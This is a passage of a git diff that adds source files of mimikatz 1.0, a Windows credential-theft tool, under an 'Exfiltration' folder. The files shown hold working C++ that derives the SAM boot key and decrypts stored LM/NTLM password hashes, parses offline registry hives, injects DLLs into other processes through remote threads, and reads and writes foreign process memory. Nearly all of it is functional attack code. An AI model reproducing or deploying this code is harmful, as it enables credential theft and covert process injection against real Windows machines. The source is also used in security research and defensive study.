reinterpret_cast<PRTL_UPCASE_UNICODE_STRING_TO_OEM_STRING>(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlUpcaseUnicodeStringToOemString")); +PRTL_INIT_UNICODESTRING mod_hash::RtlInitUnicodeString = reinterpret_cast<PRTL_INIT_UNICODESTRING>(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlInitUnicodeString")); +PRTL_FREE_OEM_STRING mod_hash::RtlFreeOemString = reinterpret_cast<PRTL_FREE_OEM_STRING>(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlFreeOemString")); + +bool mod_hash::lm(wstring * chaine, wstring * hash) +{ + bool status = false; + UNICODE_STRING maChaine; + OEM_STRING maDestination; + BYTE monTab[16]; + + RtlInitUnicodeString(&maChaine, chaine->c_str()); + if(NT_SUCCESS(RtlUpcaseUnicodeStringToOemString(&maDestination, &maChaine, TRUE))) + { + if(status = NT_SUCCESS(SystemFunction006(maDestination.Buffer, monTab))) + hash->assign(mod_text::stringOfHex(monTab, sizeof(monTab))); + + RtlFreeOemString(&maDestination); + } + return status; +} + +bool mod_hash::ntlm(wstring * chaine, wstring * hash) +{ + bool status = false; + UNICODE_STRING maChaine; + BYTE monTab[16]; + + RtlInitUnicodeString(&maChaine, chaine->c_str()); + if(status = NT_SUCCESS(SystemFunction007(&maChaine, monTab))) + hash->assign(mod_text::stringOfHex(monTab, sizeof(monTab))); + return status; +} + +void mod_hash::getBootKeyFromKey(BYTE bootkey[0x10], BYTE key[0x10]) +{ + BYTE permut[] = {0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04}; + for(unsigned int i = 0; i < 0x10; i++) + bootkey[i] = key[permut[i]]; +} + +bool mod_hash::getHbootKeyFromBootKeyAndF(BYTE hBootKey[0x10], BYTE bootKey[0x10], BYTE * AccountsF) +{ + bool reussite = false; + unsigned char qwe[] = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%"; + unsigned char num[] = "0123456789012345678901234567890123456789"; + + HCRYPTPROV hCryptProv = NULL; + HCRYPTHASH hHash = NULL; + if(CryptAcquireContext(&hCryptProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) + { + BYTE md5hash[0x10] = {0}; + DWORD dwHashDataLen = sizeof(md5hash); + CryptCreateHash(hCryptProv, CALG_MD5, 0, 0, &hHash); + CryptHashData(hHash, AccountsF + 0x70, 0x10, 0); + CryptHashData(hHash, qwe, sizeof(qwe), 0); + CryptHashData(hHash, bootKey, 0x10, 0); + CryptHashData(hHash, num, sizeof(num), 0); + CryptGetHashParam(hHash, HP_HASHVAL, md5hash, &dwHashDataLen, 0); + CryptDestroyHash(hHash); + CryptReleaseContext(hCryptProv, 0); + reussite = mod_crypto::genericDecrypt(AccountsF + 0x80, 0x10, md5hash, 0x10, CALG_RC4, hBootKey, 0x10); + } + return reussite; +} + +bool mod_hash::decryptHash(wstring * hash, BYTE * hBootKey, USER_V * userV, SAM_ENTRY * encHash, DWORD rid, bool isNtlm) +{ + bool reussite = false; + unsigned char ntpassword[] = "NTPASSWORD"; + unsigned char lmpassword[] = "LMPASSWORD"; + + BYTE obfkey[0x10]; + BYTE mes2CleDES[0x10]; + + if(encHash->lenght == 0x10 + 4) + { + HCRYPTPROV hCryptProv = NULL; + HCRYPTHASH hHash = NULL; + if(CryptAcquireContext(&hCryptProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) + { + BYTE md5hash[0x10] = {0}; + DWORD dwHashDataLen = 0x10; + CryptCreateHash(hCryptProv, CALG_MD5, 0, 0, &hHash); + CryptHashData(hHash, hBootKey, 0x10, 0); + CryptHashData(hHash, (BYTE *) &rid, sizeof(rid), 0); + CryptHashData(hHash, isNtlm ? ntpassword : lmpassword, isNtlm ? sizeof(ntpassword) : sizeof(lmpassword), 0); + CryptGetHashParam(hHash, HP_HASHVAL, md5hash, &dwHashDataLen, 0); + CryptDestroyHash(hHash); + + CryptReleaseContext(hCryptProv, 0); + + if(mod_crypto::genericDecrypt(&(userV->datas) + encHash->offset + 4, 0x10, md5hash, 0x10, CALG_RC4, obfkey, 0x10)) + { + sid_to_key1(rid, mes2CleDES); + sid_to_key2(rid, mes2CleDES + 8); + + reussite = mod_crypto::genericDecrypt(obfkey + 0, sizeof(obfkey) / 2, mes2CleDES + 0, sizeof(mes2CleDES) / 2, CALG_DES) && + mod_crypto::genericDecrypt(obfkey + 8, sizeof(obfkey) / 2, mes2CleDES + 8, sizeof(mes2CleDES) / 2, CALG_DES); + } + } + } + hash->assign(reussite ? mod_text::stringOfHex(obfkey, sizeof(obfkey)) : L""); + + return reussite; +} + +void mod_hash::str_to_key(BYTE *str, BYTE *key) +{ + key[0] = str[0] >> 1; + key[1] = ((str[0] & 0x01) << 6) | (str[1] >> 2); + key[2] = ((str[1] & 0x03) << 5) | (str[2] >> 3); + key[3] = ((str[2] & 0x07) << 4) | (str[3] >> 4); + key[4] = ((str[3] & 0x0f) << 3) | (str[4] >> 5); + key[5] = ((str[4] & 0x1f) << 2) | (str[5] >> 6); + key[6] = ((str[5] & 0x3f) << 1) | (str[6] >> 7); + key[7] = str[6] & 0x7f; + for (DWORD i = 0; i < 8; i++) + key[i] = (key[i] << 1); +} + +void mod_hash::sid_to_key1(DWORD sid, BYTE deskey[8]) +{ + unsigned char s[7]; + s[0] = s[4] = (unsigned char)((sid) & 0xff); + s[1] = s[5] = (unsigned char)((sid >> 8) & 0xff); + s[2] = s[6] = (unsigned char)((sid >>16) & 0xff); + s[3] = (unsigned char)((sid >>24) & 0xff); + str_to_key(s, deskey); +} + +void mod_hash::sid_to_key2(DWORD sid, BYTE deskey[8]) +{ + unsigned char s[7]; + + s[0] = s[4] = (unsigned char)((sid >>24) & 0xff); + s[1] = s[5] = (unsigned char)((sid) & 0xff); + s[2] = s[6] = (unsigned char)((sid >> 8) & 0xff); + s[3] = (unsigned char)((sid >>16) & 0xff); + str_to_key(s, deskey); +} diff --git a/Exfiltration/mimikatz-1.0/modules/mod_hash.h b/Exfiltration/mimikatz-1.0/modules/mod_hash.h new file mode 100644 index 0000000..19d7c44 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_hash.h @@ -0,0 +1,81 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_text.h" +#include "mod_crypto.h" + +class mod_hash +{ +private: + static PSYSTEM_FUNCTION_006 SystemFunction006; + static PSYSTEM_FUNCTION_007 SystemFunction007; + static PRTL_UPCASE_UNICODE_STRING_TO_OEM_STRING RtlUpcaseUnicodeStringToOemString; + static PRTL_INIT_UNICODESTRING RtlInitUnicodeString; + static PRTL_FREE_OEM_STRING RtlFreeOemString; + +public: + typedef enum _KIWI_HASH_TYPE + { + LM, + NTLM + } KIWI_HASH_TYPE; + + typedef struct _SAM_ENTRY { + DWORD offset; + DWORD lenght; + DWORD unk; +} SAM_ENTRY, *PSAM_SENTRY; + + typedef struct _OLD_LARGE_INTEGER { + unsigned long LowPart; + long HighPart; + } OLD_LARGE_INTEGER, *POLD_LARGE_INTEGER; + + typedef struct _USER_F { // http://www.beginningtoseethelight.org/ntsecurity/index.php#D3BC3F5643A17823 + DWORD unk0_header; + DWORD align; + OLD_LARGE_INTEGER LastLogon; + OLD_LARGE_INTEGER LastLogoff; + OLD_LARGE_INTEGER PasswordLastSet; + OLD_LARGE_INTEGER AccountExpires; + OLD_LARGE_INTEGER PasswordMustChange; + unsigned long UserId; + unsigned long unk1; + unsigned long UserAccountControl; + } USER_F, *PUSER_F; + + typedef struct _USER_V { + SAM_ENTRY unk0; + SAM_ENTRY Username; + SAM_ENTRY Fullname; + SAM_ENTRY Comment; + SAM_ENTRY UserComment; + SAM_ENTRY unk1; + SAM_ENTRY Homedir; + SAM_ENTRY Homedirconnect; + SAM_ENTRY Scriptpath; + SAM_ENTRY Profilepath; + SAM_ENTRY Workstations; + SAM_ENTRY HoursAllowed; + SAM_ENTRY unk2; + SAM_ENTRY LM; + SAM_ENTRY NTLM; + SAM_ENTRY unk3; + SAM_ENTRY unk4; + BYTE datas; + } USER_V, *PUSER_V; + + static bool lm(wstring * chaine, wstring * hash); + static bool ntlm(wstring * chaine, wstring * hash); + + static void getBootKeyFromKey(BYTE bootkey[0x10], BYTE key[0x10]); + static bool getHbootKeyFromBootKeyAndF(BYTE hBootKey[0x10], BYTE bootKey[0x10], BYTE * AccountsF); + static bool decryptHash(wstring * hash, BYTE * hBootKey, USER_V * userV, SAM_ENTRY * encHash, DWORD rid, bool isNtlm); + static void str_to_key(BYTE *str, BYTE *key); + static void sid_to_key1(DWORD sid, BYTE deskey[8]); + static void sid_to_key2(DWORD sid, BYTE deskey[8]); +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_hive.cpp b/Exfiltration/mimikatz-1.0/modules/mod_hive.cpp new file mode 100644 index 0000000..a0e79cd --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_hive.cpp @@ -0,0 +1,242 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_hive.h" + +mod_hive::nk_hdr* mod_hive::read_nk(nk_hdr *nk, hive *h, int offset ) +{ + memcpy(nk, h->base + offset + 4, sizeof(nk_hdr)); + nk->key_name = (h->base + offset + 4 + 76); + return nk; +} + +mod_hive::lf_hdr* mod_hive::read_lf(lf_hdr *lf, hive *h, int offset ) +{ + memcpy(lf, h->base+offset+4, sizeof(lf_hdr)); + lf->hr = (h->base+offset+4+4); + return lf; +} + +mod_hive::vk_hdr* mod_hive::read_vk(vk_hdr *vk, hive *h, int offset ) +{ + memcpy(vk, h->base+offset+4, sizeof(vk_hdr)); + vk->value_name = (h->base+offset+4+20); + return vk; +} + +int* mod_hive::read_valuevector(int *value, hive *h, int offset, int size ) +{ + memcpy(value, h->base+offset+4, size*sizeof(int)); + return value; +} + +mod_hive::hashrecord* mod_hive::read_hr(hashrecord *hr, unsigned char *pos, int index ) +{ + pos+=(8*index); + memcpy(hr, pos, sizeof(hashrecord)); + return hr; +} + + +unsigned char* mod_hive::read_data(hive *h, int offset ) +{ + return ((unsigned char*) (h->base + offset + 4)); +} + +bool mod_hive::InitHive(hive *h) +{ + h->base = NULL; + return true; +} + +bool mod_hive::RegOpenHive(const wchar_t *filename, hive *h) +{ + bool reussite = false; + FILE *hiveh; + unsigned long hsize; + + if(_wfopen_s(&hiveh, filename, L"rb" ) == 0) + { + if(fseek(hiveh, 0, SEEK_END) == 0) + { + hsize = ftell(hiveh); + h->base = new unsigned char[hsize]; + fseek(hiveh, 0, SEEK_SET); + + if(fread(h->base, hsize, 1, hiveh) == 1) + { + reussite = *((int *)h->base) == 0x66676572; + } + } + fclose(hiveh); + } + return reussite; +} + +bool mod_hive::RegCloseHive(hive *h ) +{ + if(h->base != NULL) + { + delete[] h->base; + } + return true; +} + + +long mod_hive::parself(hive *h, char *t, unsigned long off ) +{ + nk_hdr *n; + lf_hdr *l; + hashrecord *hr; + + int i; + + hr = (hashrecord*) malloc(sizeof(hashrecord)); + n = (nk_hdr*) malloc(sizeof(nk_hdr)); + l = (lf_hdr*) malloc(sizeof(lf_hdr)); + l = read_lf(l, h, off ); + + for(i = 0; i < l->key_num; i++ ) + { + hr = read_hr(hr, l->hr, i); + n = read_nk(n, h, hr->nk_offset + 0x1000 ); + if(!memcmp( t, n->key_name, n->name_len ) && (strlen(t) == n->name_len)) + { + free(n); + free(l); + return hr->nk_offset; + } + } + free(n); + free(l); + return -1; +} + +bool mod_hive::RegGetRootKey(hive *h, string *root_key) +{ + bool reussite = false; + nk_hdr * n = new nk_hdr(); + read_nk(n, h, 0x1020); + if (n->id == NK_ID && n->type == NK_ROOT) + { + root_key->assign((const char *) n->key_name, n->name_len); + reussite = true; + } + delete n; + return reussite; +} + +bool mod_hive::RegOpenKey(hive *h, string * path, nk_hdr **nr) +{ + bool reussite = false; + + nk_hdr *n = new nk_hdr(); + char *t, *tpath; + unsigned long noff = 0; + + read_nk(n, h, 0x1020); + + if(n->id == NK_ID && n->type == NK_ROOT) + { + tpath = strdup(path->c_str()); + t = strtok(tpath, "\\"); + + if(!memcmp(t, n->key_name, n->name_len)) + { + t = strtok(NULL, "\\"); + while(t != NULL) + { + noff = parself(h, t, n->lf_off + 0x1000); + if(noff != -1) + { + read_nk(n, h, noff + 0x1000); + t = strtok( NULL, "\\" ); + } + else + { + break; + } + } + + if(t == NULL && noff != 1) + { + memcpy(*nr, n, sizeof(nk_hdr)); + reussite = true; + } + } + free(tpath); + } + + delete n; + return reussite; +} + +bool mod_hive::RegQueryValue(hive *h, string *name, nk_hdr *nr, unsigned char **buff, int *len ) +{ + bool reussite = false; + + vk_hdr *v = new vk_hdr(); + int * l = new int[nr->value_cnt]; + + read_valuevector(l, h, nr->value_off + 0x1000, nr->value_cnt); + + for(unsigned int i = 0; i < nr->value_cnt; i++) + { + read_vk(v, h, l[i] + 0x1000); + if((!memcmp(name->c_str(), v->value_name, name->size()) && v->name_len == name->size()) || (name == NULL && (v->flag & 1) == 0)) + { + *len = v->data_len & 0x0000FFFF; + *buff = new unsigned char[*len]; + if (*len < 5) + { + memcpy(*buff, &(v->data_off), *len); + } + else + { + memcpy(*buff, read_data(h, v->data_off + 0x1000), *len); + } + reussite = true; + break; + } + } + delete[] l; + delete v; + return reussite; +} + +bool mod_hive::RegOpenKeyQueryValue(hive *h, string *path, string *name, unsigned char **buff, int *len) +{ + bool reussite = false; + mod_hive::nk_hdr * nodeKey = new mod_hive::nk_hdr(); + if(mod_hive::RegOpenKey(h, path, &nodeKey)) + { + reussite = mod_hive::RegQueryValue(h, name, nodeKey, buff, len); + } + delete nodeKey; + return reussite; +} + + + +bool mod_hive::RegEnumKey(hive *h, nk_hdr *nr, vector<string> * names) +{ + int index = 0; + + lf_hdr *lf = new lf_hdr(); + nk_hdr *nk = new nk_hdr(); + hashrecord *hr = new hashrecord(); + + while(index < nr->subkey_num) + { + lf = read_lf(lf, h, nr->lf_off + 0x1000 ); + hr = read_hr(hr, lf->hr, index); + nk = read_nk(nk, h, hr->nk_offset + 0x1000 ); + names->push_back(string(reinterpret_cast<char *>(nk->key_name), nk->name_len)); + index++; + } + + delete lf, nk, hr; + return !names->empty(); +} diff --git a/Exfiltration/mimikatz-1.0/modules/mod_hive.h b/Exfiltration/mimikatz-1.0/modules/mod_hive.h new file mode 100644 index 0000000..527a154 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_hive.h @@ -0,0 +1,88 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +using namespace std; + +#define NK_ID 0x6B6E +#define NK_ROOT 0x2c +#define LF_ID 0x666C + +class mod_hive +{ +public: + typedef struct _hive + { + unsigned char *base; + } hive; + + typedef struct _nk_hdr + { + short int id; + short int type; + int t1, t2; + int unk1; + int parent_off; + int subkey_num; + int unk2; + int lf_off; + int unk3; + /* unsigned */ + unsigned int value_cnt; + int value_off; + int sk_off; + int classname_off; + int unk4[4]; + int unk5; + short int name_len; + short int classname_len; + unsigned char *key_name; + } nk_hdr; + + typedef struct _hashrecord + { + int nk_offset; + char keyname[4]; + } hashrecord; + + typedef struct _lf_hdr + { + short int id; + short int key_num; + unsigned char *hr; + } lf_hdr; + + typedef struct _vk_hdr + { + short int id; + short int name_len; + int data_len; + int data_off; + int data_type; + short int flag; + short int unk1; + unsigned char *value_name; + } vk_hdr; + + static bool InitHive(hive *h); + static bool RegOpenHive(const wchar_t * filename, hive *h); + static bool RegCloseHive(hive *h); + static bool RegGetRootKey(hive *h, string *root_key); + static bool RegOpenKey(hive *h, string *path, nk_hdr **nr); + static bool RegQueryValue(hive *h, /*char *name*/ string *name, nk_hdr *nr, unsigned char **buff, int *len); + static bool RegOpenKeyQueryValue(hive *h, string *path, string *name, unsigned char **buff, int *len); + static bool RegEnumKey(hive *h, nk_hdr *nr, vector<string> * names); + + static long parself(hive *h, char *t, unsigned long off); + static unsigned char* read_data(hive *h, int offset); +private: + static nk_hdr* read_nk(nk_hdr *nk, hive *h, int offset); + static lf_hdr* read_lf(lf_hdr *lf, hive *h, int offset); + static vk_hdr* read_vk(vk_hdr *vk, hive *h, int offset); + static hashrecord* read_hr(hashrecord *hr, unsigned char *pos, int index); + static int* read_valuevector(int *value, hive *h, int offset, int size); + +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_inject.cpp b/Exfiltration/mimikatz-1.0/modules/mod_inject.cpp new file mode 100644 index 0000000..2547a2d --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_inject.cpp @@ -0,0 +1,72 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_inject.h" + +bool mod_inject::injectLibraryInHandle(const HANDLE & handleProcess, wstring * fullLibraryPath) +{ + bool reussite = false; + + wstring maLibComplete = L""; + if(mod_system::getAbsolutePathOf(*fullLibraryPath, &maLibComplete)) + { + bool fileExist = false; + if(mod_system::isFileExist(maLibComplete, &fileExist) && fileExist) + { + SIZE_T szFullLibraryPath = static_cast<SIZE_T>((maLibComplete.size() + 1) * sizeof(wchar_t)); + + if(LPVOID remoteVm = VirtualAllocEx(handleProcess, NULL, szFullLibraryPath, MEM_COMMIT, PAGE_EXECUTE_READWRITE)) + { + if(mod_memory::writeMemory(remoteVm, maLibComplete.c_str(), szFullLibraryPath, handleProcess)) + { + PTHREAD_START_ROUTINE pThreadStart = reinterpret_cast<PTHREAD_START_ROUTINE>(GetProcAddress(GetModuleHandle(L"kernel32"), "LoadLibraryW")); + HANDLE hRemoteThread = INVALID_HANDLE_VALUE; + + if(mod_system::GLOB_Version.dwMajorVersion > 5) + { + PRTL_CREATE_USER_THREAD RtlCreateUserThread = reinterpret_cast<PRTL_CREATE_USER_THREAD>(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlCreateUserThread")); + SetLastError(RtlCreateUserThread(handleProcess, NULL, 0, 0, 0, 0, pThreadStart, remoteVm, &hRemoteThread, NULL)); + } + else + { + hRemoteThread = CreateRemoteThread(handleProcess, NULL, 0, pThreadStart, remoteVm, 0, NULL); + } + + if(hRemoteThread && hRemoteThread != INVALID_HANDLE_VALUE) + { + WaitForSingleObject(hRemoteThread, INFINITE); + reussite = true; + CloseHandle(hRemoteThread); + } + } + VirtualFreeEx(handleProcess, remoteVm, 0, MEM_RELEASE); + } + } + } + return reussite; +} + +bool mod_inject::injectLibraryInPid(const DWORD & pid, wstring * fullLibraryPath) +{ + bool reussite = false; + if(HANDLE processHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, pid)) + { + reussite = injectLibraryInHandle(processHandle, fullLibraryPath); + CloseHandle(processHandle); + } + return reussite; +} + +bool mod_inject::injectLibraryInSingleProcess(wstring & processName, wstring * fullLibraryPath) +{ + bool reussite = false; + + mod_process::KIWI_PROCESSENTRY32 monProcess; + if(mod_process::getUniqueForName(&monProcess, &processName)) + { + reussite = injectLibraryInPid(monProcess.th32ProcessID, fullLibraryPath); + } + return reussite; +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_inject.h b/Exfiltration/mimikatz-1.0/modules/mod_inject.h new file mode 100644 index 0000000..a0f77d8 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_inject.h @@ -0,0 +1,19 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_memory.h" +#include "mod_system.h" +#include "mod_process.h" + +class mod_inject +{ +public: + static bool injectLibraryInHandle(const HANDLE & handleProcess, wstring * fullLibraryPath); + static bool injectLibraryInPid(const DWORD & pid, wstring * fullLibraryPath); + static bool injectLibraryInSingleProcess(wstring & processName, wstring * fullLibraryPath); +}; + diff --git a/Exfiltration/mimikatz-1.0/modules/mod_memory.cpp b/Exfiltration/mimikatz-1.0/modules/mod_memory.cpp new file mode 100644 index 0000000..1e2ba8e --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_memory.cpp @@ -0,0 +1,140 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_memory.h" + +bool mod_memory::readMemory(const void * adresseBase, void * adresseDestination, size_t longueur, HANDLE handleProcess) +{ + if(handleProcess == INVALID_HANDLE_VALUE) + { + return (memcpy_s(adresseDestination, longueur, adresseBase, longueur) == 0); + } + else + { + SIZE_T dwBytesRead = 0; + return ((ReadProcessMemory(handleProcess, adresseBase, adresseDestination, longueur, &dwBytesRead) != 0) && (dwBytesRead == longueur)); + } +} + +bool mod_memory::writeMemory(void * adresseBase, const void * adresseSource, size_t longueur, HANDLE handleProcess) +{ + bool reussite = false; + DWORD OldProtect, OldProtect2; + + if(handleProcess == INVALID_HANDLE_VALUE) + { + if(VirtualProtect(adresseBase, longueur, PAGE_EXECUTE_READWRITE, &OldProtect) != 0) + { + reussite = (memcpy_s(adresseBase, longueur, adresseSource, longueur) == 0); + VirtualProtect(adresseBase, longueur, OldProtect, &OldProtect2); + } + } + else + { + if(VirtualProtectEx(handleProcess, adresseBase, longueur, PAGE_EXECUTE_READWRITE, &OldProtect) != 0) + { + SIZE_T dwBytesWrite = 0; + reussite = ((WriteProcessMemory(handleProcess, adresseBase, adresseSource, longueur, &dwBytesWrite) != 0) && (dwBytesWrite == longueur)); + VirtualProtectEx(handleProcess, adresseBase, longueur, OldProtect, &OldProtect2); + } + } + + return reussite; +} + + +bool mod_memory::searchMemory(const PBYTE adresseBase, const PBYTE adresseMaxMin, const PBYTE pattern, PBYTE * addressePattern, size_t longueur, bool enAvant, HANDLE handleProcess) +{ + BYTE * monTab = new BYTE[longueur]; + *addressePattern = adresseBase; + bool succesLecture = true; + bool succesPattern = false; + + while((!adresseMaxMin || (enAvant ? (*addressePattern + longueur) <= adresseMaxMin : (*addressePattern - longueur) >= adresseMaxMin)) && succesLecture && !succesPattern) + { + if(succesLecture = readMemory(*addressePattern, monTab, longueur, handleProcess)) + { + if(!(succesPattern = (memcmp(monTab, pattern, longueur) == 0))) + { + *addressePattern += (enAvant ? 1 : -1); + } + } + } + delete[] monTab; + + if(!succesPattern) + *addressePattern = NULL; + + return succesPattern; +} + +bool mod_memory::searchMemory(const PBYTE adresseBase, const long offsetMaxMin, const PBYTE pattern, long * offsetPattern, size_t longueur, bool enAvant, HANDLE handleProcess) +{ + PBYTE addressePattern = NULL; + bool resultat = mod_memory::searchMemory(adresseBase, (offsetMaxMin != 0 ? (adresseBase + offsetMaxMin) : NULL), pattern, &addressePattern, longueur, enAvant, handleProcess); + *offsetPattern = addressePattern - adresseBase; + return resultat; +} + +bool mod_memory::genericPatternSearch(PBYTE * thePtr, wchar_t * moduleName, BYTE pattern[], ULONG taillePattern, LONG offSetToPtr, char * startFunc, bool enAvant, bool noPtr) +{ + bool resultat = false; + if(thePtr && pattern && taillePattern) + { + if(HMODULE monModule = GetModuleHandle(moduleName)) + { + MODULEINFO mesInfos; + if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO))) + { + PBYTE addrMonModule = reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll); + + if(PBYTE addrDebut = startFunc ? reinterpret_cast<PBYTE>(GetProcAddress(monModule, startFunc)) : addrMonModule) + { + if(resultat = mod_memory::searchMemory(addrDebut, enAvant ? (addrMonModule + mesInfos.SizeOfImage) : reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll), pattern, thePtr, taillePattern, enAvant)) + { + *thePtr += offSetToPtr; + if(!noPtr) + { +#ifdef _M_X64 + *thePtr += sizeof(long) + *reinterpret_cast<long *>(*thePtr); +#elif defined _M_IX86 + *thePtr = *reinterpret_cast<PBYTE *>(*thePtr); +#endif + } + } + else *thePtr = NULL; + } + } + } + } + return resultat; +} + +/*bool mod_memory::WhereIsMyFuckingRelativePattern(const PBYTE adresseBase, const PBYTE addrPattern, const PBYTE maskPattern, PBYTE *addressePattern, size_t longueurMask, const long offsetAddrInMask, const long offset) // et merde je la documente pas celle là ! +{ + PBYTE autreAddr = adresseBase; + PBYTE monMask = new BYTE[longueurMask]; + PBYTE monTab = new BYTE[longueurMask]; + + RtlCopyMemory(monMask, maskPattern, longueurMask); + bool succesLecture = false, succesPattern = false; + do + { + PBYTE funkyDiff = reinterpret_cast<PBYTE>(addrPattern - (autreAddr + offsetAddrInMask + 4)); + RtlCopyMemory(monMask+offsetAddrInMask, reinterpret_cast<PBYTE>(&funkyDiff), 4); + succesLecture = readMemory(autreAddr, monTab, longueurMask); + succesPattern = memcmp(monTab, monMask, longueurMask) == 0; + autreAddr+=offset; + } while(!succesPattern && succesLecture); + + delete[] monMask; + + if(succesPattern && succesLecture) + { + *addressePattern = autreAddr-offset; + return true; + } + else return false; +}*/ diff --git a/Exfiltration/mimikatz-1.0/modules/mod_memory.h b/Exfiltration/mimikatz-1.0/modules/mod_memory.h new file mode 100644 index 0000000..31eb27f --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_memory.h @@ -0,0 +1,22 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include <psapi.h> + +class mod_memory +{ +public: + static bool readMemory(const void * adresseBase, void * adresseDestination, size_t longueur = 1, HANDLE handleProcess = INVALID_HANDLE_VALUE); + static bool writeMemory(void * adresseBase, const void * adresseSource, size_t longueur = 1, HANDLE handleProcess = INVALID_HANDLE_VALUE); + + static bool searchMemory(const PBYTE adresseBase, const PBYTE adresseMaxMin, const PBYTE pattern, PBYTE * addressePattern, size_t longueur = 1, bool enAvant = true, HANDLE handleProcess = INVALID_HANDLE_VALUE); + static bool searchMemory(const PBYTE adresseBase, const long offsetMaxMin, const PBYTE pattern, long * offsetPattern, size_t longueur = 1, bool enAvant = true, HANDLE handleProcess = INVALID_HANDLE_VALUE); + + static bool genericPatternSearch(PBYTE * thePtr, wchar_t * moduleName, BYTE pattern[], ULONG taillePattern, LONG offSetToPtr, char * startFunc = NULL, bool enAvant = true, bool noPtr = false); + + /*static bool WhereIsMyFuckingRelativePattern(const PBYTE adresseBase, const PBYTE addrPattern, const PBYTE maskPattern, PBYTE *addressePattern, size_t longueurMask, const long offsetAddrInMask, const long offset = 1); // et merde je la documente pas celle là !*/ +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_minidump.cpp b/Exfiltration/mimikatz-1.0/modules/mod_minidump.cpp new file mode 100644 index 0000000..2825451 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_minidump.cpp @@ -0,0 +1,163 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_minidump.h" + +mod_minidump::mod_minidump() : monFichier(NULL), monFileMapping(NULL), mesDonnees(NULL) +{ +} + +mod_minidump::~mod_minidump(void) +{ + if(mesDonnees) + UnmapViewOfFile(mesDonnees); + + if(monFileMapping) + CloseHandle(monFileMapping); + + if(monFichier) + CloseHandle(monFichier); +} + +LPVOID mod_minidump::RVAtoPTR(RVA monRVA) +{ + return reinterpret_cast<PBYTE>(mesDonnees) + monRVA; +} + +bool mod_minidump::open(wchar_t * filename) +{ + bool resultat = false; + + if(monFichier = CreateFile(filename, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL)) + if(monFileMapping = CreateFileMapping(monFichier, NULL, PAGE_READONLY, 0, 0, NULL)) + if(mesDonnees = MapViewOfFile(monFileMapping, FILE_MAP_READ, 0, 0, 0)) + resultat = (reinterpret_cast<PMINIDUMP_HEADER>(mesDonnees)->Signature == MINIDUMP_SIGNATURE) && (static_cast<WORD>(reinterpret_cast<PMINIDUMP_HEADER>(mesDonnees)->Version) == MINIDUMP_VERSION); + + return resultat; +} + +MINIDUMP_TYPE mod_minidump::getFlags() +{ + return static_cast<MINIDUMP_TYPE>(reinterpret_cast<PMINIDUMP_HEADER>(mesDonnees)->Flags); +} + +const wchar_t *FlagsString[] = { + L"MiniDumpNormal", + L"MiniDumpWithDataSegs", + L"MiniDumpWithFullMemory", + L"MiniDumpWithHandleData", + L"MiniDumpFilterMemory", + L"MiniDumpScanMemory", + L"MiniDumpWithUnloadedModules", + L"MiniDumpWithIndirectlyReferencedMemory", + L"MiniDumpFilterModulePaths", + L"MiniDumpWithProcessThreadData", + L"MiniDumpWithPrivateReadWriteMemory", + L"MiniDumpWithoutOptionalData", + L"MiniDumpWithFullMemoryInfo", + L"MiniDumpWithThreadInfo", + L"MiniDumpWithCodeSegs", + L"MiniDumpWithoutAuxiliaryState", + L"MiniDumpWithFullAuxiliaryState", + L"MiniDumpWithPrivateWriteCopyMemory", + L"MiniDumpIgnoreInaccessibleMemory", + 